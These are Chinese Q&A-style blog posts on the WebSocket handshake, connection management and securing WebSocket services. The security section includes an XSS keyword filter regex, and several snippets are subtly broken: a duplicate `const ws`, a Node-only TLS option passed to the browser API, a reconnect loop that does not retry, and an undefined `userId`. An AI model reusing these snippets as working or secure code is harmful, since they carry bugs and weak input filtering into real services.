2. 将 `Sec-WebSocket-Key` 与 GUID `258EAFA5-E914-47DA-95CA-C5AB0DC85B11` 拼接
3. 对拼接后的字符串进行 SHA-1 哈希
4. 将哈希结果进行 Base64 编码
5. 将编码结果放入 `Sec-WebSocket-Accept` 头部
服务器响应:
```
HTTP/1.1 101 Switching Protocols
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+xOo=
Sec-WebSocket-Protocol: chat
```
### 3. 连接建立成功
服务器返回 101 状态码后,HTTP 连接升级为 WebSocket 连接,双方开始使用 WebSocket 数据帧进行通信。
## 握手安全性
### 防止跨站 WebSocket 劫持(CSWSH)
- `Origin` 头部验证:服务器检查请求来源
- `Sec-WebSocket-Key` 验证:防止缓存投毒攻击
### 最佳实践
- 使用 WSS(WebSocket Secure)加密连接
- 验证 `Origin` 头部
- 实施适当的认证机制
- 限制连接频率
服务端 · 2月18日 21:43
如何管理 WebSocket 连接的最佳实践是什么?管理 WebSocket 连接需要考虑连接生命周期、资源优化、错误处理等多个方面。以下是最佳实践:
## 连接管理策略
### 1. 连接建立与初始化
**客户端侧:**
```javascript
const ws = new WebSocket('wss://example.com/socket');
ws.onopen = () => {
console.log('WebSocket connected');
// 发送初始化消息
ws.send(JSON.stringify({ type: 'init', data: userData }));
};
ws.onerror = (error) => {
console.error('WebSocket error:', error);
// 实现错误处理逻辑
};
```
**服务器侧:**
- 验证连接请求的合法性
- 设置合理的连接超时时间
- 记录连接元数据(用户ID、设备信息等)
### 2. 心跳机制
**实现心跳保持连接活跃:**
```javascript
// 客户端心跳
let heartbeatInterval;
function startHeartbeat() {
heartbeatInterval = setInterval(() => {
if (ws.readyState === WebSocket.OPEN) {
ws.send(JSON.stringify({ type: 'ping' }));
}
}, 30000); // 每30秒发送一次
}
ws.onmessage = (event) => {
const data = JSON.parse(event.data);
if (data.type === 'pong') {
// 收到服务器响应,连接正常
}
};
```
**服务器心跳:**
- 监控客户端活跃状态
- 超时未响应则关闭连接
- 减少无效连接占用资源
### 3. 连接重连策略
**指数退避重连算法:**
```javascript
function reconnect() {
let retryCount = 0;
const maxRetries = 5;
const baseDelay = 1000; // 1秒
function attemptReconnect() {
if (retryCount >= maxRetries) {
console.error('Max reconnection attempts reached');
return;
}
const delay = Math.min(baseDelay * Math.pow(2, retryCount), 30000);
setTimeout(() => {
try {
ws = new WebSocket('wss://example.com/socket');
retryCount++;
} catch (error) {
console.error('Reconnection failed:', error);
attemptReconnect();
}
}, delay);
}
attemptReconnect();
}
```
### 4. 连接池管理
**服务器端连接池优化:**
- 使用内存数据库(如 Redis)存储连接映射
- 实现连接分组和路由
- 设置最大连接数限制
- 实现连接负载均衡
```javascript
// 连接池示例
const connectionPool = new Map();
function addConnection(userId, ws) {
connectionPool.set(userId, ws);
}
function getConnection(userId) {
return connectionPool.get(userId);
}
function removeConnection(userId) {
connectionPool.delete(userId);
}
```
### 5. 资源清理
**优雅关闭连接:**
```javascript
function closeConnection() {
if (ws && ws.readyState === WebSocket.OPEN) {
// 发送关闭帧
ws.send(JSON.stringify({ type: 'close', reason: 'user_logout' }));
// 等待服务器确认
setTimeout(() => {
ws.close(1000, 'Normal closure');
}, 1000);
}
// 清理定时器
if (heartbeatInterval) {
clearInterval(heartbeatInterval);
}
}
```
### 6. 监控与日志
**关键监控指标:**
- 连接数量和趋势
- 消息发送/接收速率
- 连接失败率
- 平均连接时长
- 内存和 CPU 使用率
**日志记录:**
- 连接建立和断开事件
- 消息传输统计
- 错误和异常情况
## 性能优化建议
1. **消息批处理**:将多个小消息合并发送
2. **压缩传输**:启用 permessage-deflate 扩展
3. **二进制数据**:使用二进制格式传输大数据
4. **连接复用**:避免频繁创建和销毁连接
5. **限流控制**:防止消息洪泛
服务端 · 2月18日 21:38
如何保护 WebSocket 连接的安全性?在生产环境中保护 WebSocket 连接需要多层次的安全措施。以下是关键的安全实践:
## 1. 使用 WSS(WebSocket Secure)
**强制使用加密连接:**
```javascript
// 始终使用 wss:// 而不是 ws://
const ws = new WebSocket('wss://example.com/socket');
// 验证证书
const ws = new WebSocket('wss://example.com/socket', {
rejectUnauthorized: true // 拒绝无效证书
});
```
**WSS 的优势:**
- 数据传输加密(TLS/SSL)
- 防止中间人攻击
- 保护敏感信息不被窃听
## 2. 身份验证和授权
### 连接时验证
```javascript
// 在握手时传递认证令牌
const ws = new WebSocket(`wss://example.com/socket?token=${authToken}`);
// 或在连接建立后发送认证消息
ws.onopen = () => {
ws.send(JSON.stringify({
type: 'auth',
token: authToken
}));
};
```
### 服务器端验证
```javascript
// 验证 JWT 令牌
function validateConnection(token) {
try {
const decoded = jwt.verify(token, SECRET_KEY);
return decoded.userId;
} catch (error) {
return null;
}
}
// 握手时验证
wss.on('connection', (ws, req) => {
const token = req.url.split('token=')[1];
const userId = validateConnection(token);
if (!userId) {
ws.close(1008, 'Unauthorized');
return;
}
// 认证成功,继续处理
});
```
## 3. Origin 头部验证
**防止跨站 WebSocket 劫持(CSWSH):**
```javascript
wss.on('connection', (ws, req) => {
const origin = req.headers.origin;
const allowedOrigins = ['https://yourdomain.com', 'https://app.yourdomain.com'];
if (!allowedOrigins.includes(origin)) {
ws.close(1003, 'Unsupported Data');
return;
}
// 允许连接
});
```
## 4. 速率限制和节流
**防止消息洪泛和 DoS 攻击:**
```javascript
const rateLimiter = new Map();
function checkRateLimit(userId) {
const now = Date.now();
const userLimit = rateLimiter.get(userId);
if (!userLimit) {
rateLimiter.set(userId, { count: 1, resetTime: now + 60000 });
return true;
}
if (now > userLimit.resetTime) {
rateLimiter.set(userId, { count: 1, resetTime: now + 60000 });
return true;
}
if (userLimit.count >= 100) { // 每分钟最多100条消息
return false;
}
userLimit.count++;
return true;
}
wss.on('connection', (ws, req) => {
ws.on('message', (message) => {
if (!checkRateLimit(userId)) {
ws.send(JSON.stringify({ type: 'error', message: 'Rate limit exceeded' }));
return;
}
// 处理消息
});
});
```
## 5. 输入验证和消息过滤
**验证所有传入消息:**
```javascript
function validateMessage(message) {
const data = JSON.parse(message);
// 验证消息结构
if (!data.type || typeof data.type !== 'string') {
return false;
}
// 验证消息类型
const allowedTypes = ['chat', 'ping', 'auth'];
if (!allowedTypes.includes(data.type)) {
return false;
}
// 验证数据大小
if (JSON.stringify(data).length > 10240) { // 10KB 限制
return false;
}
// 验证内容(防止 XSS)
if (data.content && /<script|javascript:|onerror=/i.test(data.content)) {
return false;
}
return true;
}
ws.on('message', (message) => {
if (!validateMessage(message)) {
ws.close(1007, 'Invalid frame payload data');
return;
}
// 处理有效消息
});
```
## 6. 连接超时管理
**设置合理的超时时间:**
```javascript
// 服务器端超时设置
const server = http.createServer();
const wss = new WebSocket.Server({
server,
clientTracking: true,
perMessageDeflate: false
});
// 设置 ping/pong 超时
wss.on('connection', (ws) => {
ws.isAlive = true;
ws.on('pong', () => { ws.isAlive = true; });
});
// 定期检查连接状态
const interval = setInterval(() => {
wss.clients.forEach((ws) => {
if (ws.isAlive === false) {
return ws.terminate();
}
ws.isAlive = false;
ws.ping();
});
}, 30000);
wss.on('close', () => {
clearInterval(interval);
});
```
## 7. 日志和监控
**记录安全相关事件:**
```javascript
const securityLogger = {
logConnection: (userId, ip, userAgent) => {
console.log(`[SECURITY] Connection from ${ip} - User: ${userId} - UA: ${userAgent}`);
},
logUnauthorized: (ip, reason) => {
console.warn(`[SECURITY] Unauthorized connection attempt from ${ip} - Reason: ${reason}`);
},
logSuspiciousActivity: (userId, activity) => {
console.error(`[SECURITY] Suspicious activity from user ${userId}: ${activity}`);
}
};
```
## 8. 网络层安全
**防火墙和负载均衡器配置:**
- 限制连接来源 IP
- 设置最大连接数
- 启用 DDoS 防护
- 配置 Web 应用防火墙(WAF)
## 安全检查清单
- [ ] 使用 WSS 加密连接
- [ ] 实施身份验证机制
- [ ] 验证 Origin 头部
- [ ] 实现速率限制
- [ ] 验证所有输入消息
- [ ] 设置连接超时
- [ ] 记录安全事件日志
- [ ] 定期更新依赖库
- [ ] 进行安全审计和渗透测试
服务端 · 2月18日 21:30
WebSocket是什么?它与HTTP有什么区别?WebSocket是一种网络通信协议,提供了在单个TCP连接上进行全双工通讯的能力。它是HTML5的一部分,允许服务器和客户端之间进行实时、双向的交互通信。
## 核心特点
1. **全双工通信**:服务器和客户端可以同时发送和接收消息
2. **持久连接**:一旦建立连接,保持开放状态,直到显式关闭
3. **低延迟**:相比HTTP轮询,减少了握手和头部开销
4. **实时性**:服务器可以主动向客户端推送数据
## 与HTTP的区别
* HTTP是请求-响应模式,WebSocket是双向通信
* HTTP连接是短连接,WebSocket是长连接
* HTTP每次请求都需要携带完整的头部,WebSocket连接建立后只需少量数据
## 握手过程
WebSocket连接通过HTTP升级请求建立:
1. 客户端发送HTTP GET请求,包含Upgrade: websocket头部
2. 服务器返回101 Switching Protocols响应
3. 连接升级为WebSocket协议
## 应用场景
* 实时聊天应用
* 在线游戏
* 股票行情推送
* 协同编辑
* 实时监控系统
服务端 · 2月18日 19:07